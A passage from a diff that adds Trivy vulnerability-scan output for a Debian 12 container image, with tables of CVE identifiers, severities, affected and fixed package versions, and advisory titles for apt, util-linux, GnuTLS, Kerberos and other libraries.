│ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-97031 │ │ │ │ │ crypto/tls: golang: crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple ECH outer extension references... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-97031 │ +└──────────────────────────────────┴─────────────────────┴──────────┴──────────┴──────────────────────┴───────────────────────────────────────────────────────────┴──────────────────────────────────────────────────────────────┘ diff --git a/evidence/trivy-db.txt b/evidence/trivy-db.txt new file mode 100644 index 0000000..2efd1d7 --- /dev/null +++ b/evidence/trivy-db.txt @@ -0,0 +1,1039 @@ + +Report Summary + +┌────────────────────────────────┬──────────┬─────────────────┐ +│ Target │ Type │ Vulnerabilities │ +├────────────────────────────────┼──────────┼─────────────────┤ +│ /scan/image.tar (debian 12.11) │ debian │ 198 │ +├────────────────────────────────┼──────────┼─────────────────┤ +│ usr/local/bin/gosu │ gobinary │ 60 │ +└────────────────────────────────┴──────────┴─────────────────┘ +Legend: +- '-': Not scanned +- '0': Clean (no security findings detected) + + +/scan/image.tar (debian 12.11) +============================== +Total: 198 (HIGH: 179, CRITICAL: 19) + +┌────────────────────┬─────────────────┬──────────┬──────────────┬─────────────────────────┬─────────────────────────┬──────────────────────────────────────────────────────────────┐ +│ Library │ Vulnerability │ Severity │ Status │ Installed Version │ Fixed Version │ Title │ +├────────────────────┼─────────────────┼──────────┼──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ apt │ CVE-2026-109518 │ HIGH │ fixed │ 2.6.1 │ 2.6.2 │ apt: apt: Remote code execution via hard link reuse during │ +│ │ │ │ │ │ │ package download... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-109518 │ +├────────────────────┼─────────────────┤ ├──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ bsdutils │ CVE-2026-53613 │ │ affected │ 1:2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ ├──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ dirmngr │ CVE-2025-68973 │ │ fixed │ 2.2.40-1.1 │ 2.2.40-1.1+deb12u2 │ GnuPG: GnuPG: Information disclosure and potential arbitrary │ +│ │ │ │ │ │ │ code execution via out-of-bounds write... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68973 │ +├────────────────────┤ │ │ │ │ │ │ +│ gnupg │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┤ │ │ │ │ │ │ +│ gnupg-l10n │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┤ │ │ │ │ │ │ +│ gnupg-utils │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┤ │ │ │ │ │ │ +│ gpg │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┤ │ │ │ │ │ │ +│ gpg-agent │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┤ │ │ │ │ │ │ +│ gpg-wks-client │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┤ │ │ │ │ │ │ +│ gpg-wks-server │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┤ │ │ │ │ │ │ +│ gpgconf │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┤ │ │ │ │ │ │ +│ gpgsm │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┤ │ │ │ │ │ │ +│ gpgv │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +│ │ │ │ │ │ │ │ +├────────────────────┼─────────────────┤ ├──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ gzip │ CVE-2026-41992 │ │ fix_deferred │ 1.12-1 │ │ gzip: gzip: Information disclosure via global buffer │ +│ │ │ │ │ │ │ overflow in LZH decompression │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-41992 │ +├────────────────────┼─────────────────┤ │ ├─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libacl1 │ CVE-2026-54369 │ │ │ 2.3.1-3 │ │ acl: Symlink traversal privilege escalation via libacl │ +│ │ │ │ │ │ │ functions │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-54369 │ +├────────────────────┼─────────────────┤ ├──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libapt-pkg6.0 │ CVE-2026-109518 │ │ fixed │ 2.6.1 │ 2.6.2 │ apt: apt: Remote code execution via hard link reuse during │ +│ │ │ │ │ │ │ package download... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-109518 │ +├────────────────────┼─────────────────┤ ├──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libblkid1 │ CVE-2026-53613 │ │ affected │ 2.38.1-5+deb12u3 │ │ util-linux: TOCTOU in the mount program via ancestor │ +│ │ │ │ │ │ │ directory swap on target... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53613 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-53615 │ │ │ │ │ util-linux: util-linux: Partition metadata compromise via │ +│ │ │ │ │ │ │ integer overflow in DOS partition parser... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-53615 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78410 │ │ │ │ │ util-linux: util-linux: restricted bind mounts do not pin │ +│ │ │ │ │ │ │ the source, allowing X-mount.owner/group/mode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78410 │ +├────────────────────┼─────────────────┤ ├──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libcap2 │ CVE-2026-4878 │ │ fixed │ 1:2.66-4+deb12u1 │ 1:2.66-4+deb12u3 │ libcap: libcap: Privilege escalation via TOCTOU race │ +│ │ │ │ │ │ │ condition in cap_set_file() │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-4878 │ +├────────────────────┼─────────────────┼──────────┤ ├─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libgnutls30 │ CVE-2026-33845 │ CRITICAL │ │ 3.7.9-2+deb12u5 │ 3.7.9-2+deb12u7 │ gnutls: GnuTLS: Denial of Service via DTLS zero-length │ +│ │ │ │ │ │ │ fragment │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33845 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42010 │ │ │ │ │ gnutls: gnutls: Authentication Bypass via NUL Character in │ +│ │ │ │ │ │ │ Username │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42010 │ +│ ├─────────────────┼──────────┤ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33846 │ HIGH │ │ │ │ gnutls: GnuTLS: Denial of Service via heap buffer overflow │ +│ │ │ │ │ │ │ in DTLS handshake... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33846 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-3833 │ │ │ │ │ gnutls: GnuTLS: Policy bypass due to case-sensitive │ +│ │ │ │ │ │ │ nameConstraints comparison │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-3833 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42009 │ │ │ │ │ gnutls: gnutls: Denial of Service via DTLS packet reordering │ +│ │ │ │ │ │ │ vulnerability │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42009 │ +├────────────────────┼─────────────────┤ ├──────────────┼─────────────────────────┼─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libgssapi-krb5-2 │ CVE-2026-107364 │ │ affected │ 1.20.1-2+deb12u3 │ │ krb5: Unauthenticated KDC DoS based on ASN.1 decoder read │ +│ │ │ │ │ │ │ overrun │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-107364 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112315 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS in │ +│ │ │ │ │ │ │ RPCSEC_GSS buffer decode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112315 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112316 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory leak DoS in │ +│ │ │ │ │ │ │ xdr_krb5_tl_data() decode failure... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112316 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112317 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated memory leak DoS in KDB │ +│ │ │ │ │ │ │ keytab key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112317 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112318 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated DoS exploiting │ +│ │ │ │ │ │ │ dereference of null policy name... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112318 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112319 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory exhaustion DoS │ +│ │ │ │ │ │ │ via unbounded RPC XDR... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112319 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112320 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ GSS-RPC auth flavor... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112320 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112321 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI_INIT error paths... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112321 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112322 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated CPU DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI client states cleanup... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112322 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112323 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory exhaustion via │ +│ │ │ │ │ │ │ failed AUTH_GSSAPI_INIT requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112323 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-118380 │ │ │ │ │ krb5: kadmind: request alteration and protected information │ +│ │ │ │ │ │ │ disclosure │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-118380 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119079 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated CPU DoS via quadratic │ +│ │ │ │ │ │ │ ASN.1 SEQUENCE OF... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119079 │ +│ ├─────────────────┤ ├──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40355 │ │ fixed │ │ 1.20.1-2+deb12u5 │ krb5: MIT Kerberos 5: Denial of Service via NULL pointer │ +│ │ │ │ │ │ │ dereference in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40355 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40356 │ │ │ │ │ krb5: MIT Kerberos 5 (krb5): Denial of Service via integer │ +│ │ │ │ │ │ │ underflow and... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40356 │ +│ ├─────────────────┤ ├──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71199 │ │ affected │ │ │ krb5: Alteration of authentication indicators in CAMMAC │ +│ │ │ │ │ │ │ container │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71199 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71200 │ │ │ │ │ krb5: Unauthenticated KDC NULL pointer dereference KDC DoS │ +│ │ │ │ │ │ │ via crafted PKINIT pre-auth... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71200 │ +├────────────────────┼─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libk5crypto3 │ CVE-2026-107364 │ │ │ │ │ krb5: Unauthenticated KDC DoS based on ASN.1 decoder read │ +│ │ │ │ │ │ │ overrun │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-107364 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112315 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS in │ +│ │ │ │ │ │ │ RPCSEC_GSS buffer decode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112315 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112316 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory leak DoS in │ +│ │ │ │ │ │ │ xdr_krb5_tl_data() decode failure... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112316 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112317 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated memory leak DoS in KDB │ +│ │ │ │ │ │ │ keytab key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112317 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112318 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated DoS exploiting │ +│ │ │ │ │ │ │ dereference of null policy name... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112318 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112319 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory exhaustion DoS │ +│ │ │ │ │ │ │ via unbounded RPC XDR... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112319 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112320 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ GSS-RPC auth flavor... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112320 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112321 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI_INIT error paths... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112321 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112322 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated CPU DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI client states cleanup... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112322 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112323 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory exhaustion via │ +│ │ │ │ │ │ │ failed AUTH_GSSAPI_INIT requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112323 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-118380 │ │ │ │ │ krb5: kadmind: request alteration and protected information │ +│ │ │ │ │ │ │ disclosure │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-118380 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119079 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated CPU DoS via quadratic │ +│ │ │ │ │ │ │ ASN.1 SEQUENCE OF... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119079 │ +│ ├─────────────────┤ ├──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40355 │ │ fixed │ │ 1.20.1-2+deb12u5 │ krb5: MIT Kerberos 5: Denial of Service via NULL pointer │ +│ │ │ │ │ │ │ dereference in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40355 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40356 │ │ │ │ │ krb5: MIT Kerberos 5 (krb5): Denial of Service via integer │ +│ │ │ │ │ │ │ underflow and... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40356 │ +│ ├─────────────────┤ ├──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71199 │ │ affected │ │ │ krb5: Alteration of authentication indicators in CAMMAC │ +│ │ │ │ │ │ │ container │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71199 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71200 │ │ │ │ │ krb5: Unauthenticated KDC NULL pointer dereference KDC DoS │ +│ │ │ │ │ │ │ via crafted PKINIT pre-auth... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71200 │ +├────────────────────┼─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libkrb5-3 │ CVE-2026-107364 │ │ │ │ │ krb5: Unauthenticated KDC DoS based on ASN.1 decoder read │ +│ │ │ │ │ │ │ overrun │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-107364 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112315 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS in │ +│ │ │ │ │ │ │ RPCSEC_GSS buffer decode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112315 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112316 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory leak DoS in │ +│ │ │ │ │ │ │ xdr_krb5_tl_data() decode failure... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112316 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112317 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated memory leak DoS in KDB │ +│ │ │ │ │ │ │ keytab key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112317 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112318 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated DoS exploiting │ +│ │ │ │ │ │ │ dereference of null policy name... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112318 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112319 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory exhaustion DoS │ +│ │ │ │ │ │ │ via unbounded RPC XDR... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112319 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112320 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ GSS-RPC auth flavor... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112320 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112321 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI_INIT error paths... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112321 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112322 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated CPU DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI client states cleanup... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112322 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112323 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory exhaustion via │ +│ │ │ │ │ │ │ failed AUTH_GSSAPI_INIT requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112323 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-118380 │ │ │ │ │ krb5: kadmind: request alteration and protected information │ +│ │ │ │ │ │ │ disclosure │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-118380 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-119079 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated CPU DoS via quadratic │ +│ │ │ │ │ │ │ ASN.1 SEQUENCE OF... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-119079 │ +│ ├─────────────────┤ ├──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40355 │ │ fixed │ │ 1.20.1-2+deb12u5 │ krb5: MIT Kerberos 5: Denial of Service via NULL pointer │ +│ │ │ │ │ │ │ dereference in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40355 │ +│ ├─────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-40356 │ │ │ │ │ krb5: MIT Kerberos 5 (krb5): Denial of Service via integer │ +│ │ │ │ │ │ │ underflow and... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-40356 │ +│ ├─────────────────┤ ├──────────────┤ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71199 │ │ affected │ │ │ krb5: Alteration of authentication indicators in CAMMAC │ +│ │ │ │ │ │ │ container │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71199 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-71200 │ │ │ │ │ krb5: Unauthenticated KDC NULL pointer dereference KDC DoS │ +│ │ │ │ │ │ │ via crafted PKINIT pre-auth... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-71200 │ +├────────────────────┼─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ libkrb5support0 │ CVE-2026-107364 │ │ │ │ │ krb5: Unauthenticated KDC DoS based on ASN.1 decoder read │ +│ │ │ │ │ │ │ overrun │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-107364 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112315 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS in │ +│ │ │ │ │ │ │ RPCSEC_GSS buffer decode... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112315 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112316 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory leak DoS in │ +│ │ │ │ │ │ │ xdr_krb5_tl_data() decode failure... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112316 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112317 │ │ │ │ │ krb5: MIT krb5 KDC unauthenticated memory leak DoS in KDB │ +│ │ │ │ │ │ │ keytab key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112317 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112318 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated DoS exploiting │ +│ │ │ │ │ │ │ dereference of null policy name... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112318 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112319 │ │ │ │ │ krb5: MIT krb5 kadmind authenticated memory exhaustion DoS │ +│ │ │ │ │ │ │ via unbounded RPC XDR... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112319 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112320 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ GSS-RPC auth flavor... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112320 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112321 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory leak DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI_INIT error paths... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112321 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112322 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated CPU DoS via │ +│ │ │ │ │ │ │ AUTH_GSSAPI client states cleanup... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112322 │ +│ ├─────────────────┤ │ │ ├─────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-112323 │ │ │ │ │ krb5: MIT krb5 kadmind unauthenticated memory exhaustion via │ +│ │ │ │ │ │ │ failed AUTH_GSSAPI_INIT requests │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-112323 │ +│ 